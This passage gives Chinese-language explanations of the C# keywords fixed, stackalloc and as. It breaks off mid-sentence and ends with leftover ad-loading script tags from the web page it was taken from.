1 fixed 语句禁止垃圾回收器重定位可移动的变量。fixed 语句只能出现在不安全的上下文中。应用引用类型中,例如类,如果想把类中的某个成员变成指针,要使用FIXED。因为垃圾回收可能不可预知地重定位变量。
2 stackalloc在堆栈上分配内存块。
type * ptr = stackalloc type [ expr ];在堆栈上而不是在堆上分配一个内存块,它的大小足以包含 type 类型的 expr 元素;该块的地址存储在 ptr 指针中。
此内存不受垃圾回收的制约,因此不必将其钉住(通过 fixed)。内存块的生存期受定义它的方法的生存期的限制(没有在方法返回之前释放内存的途径)。
3 as 用于在兼容的引用类型之间执行转换.as 运算符类似于强制转换,所不同的是,当转换失败
时,运算符将产生空,而不是引发异常。更严格地说,这种形式的表达式
<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>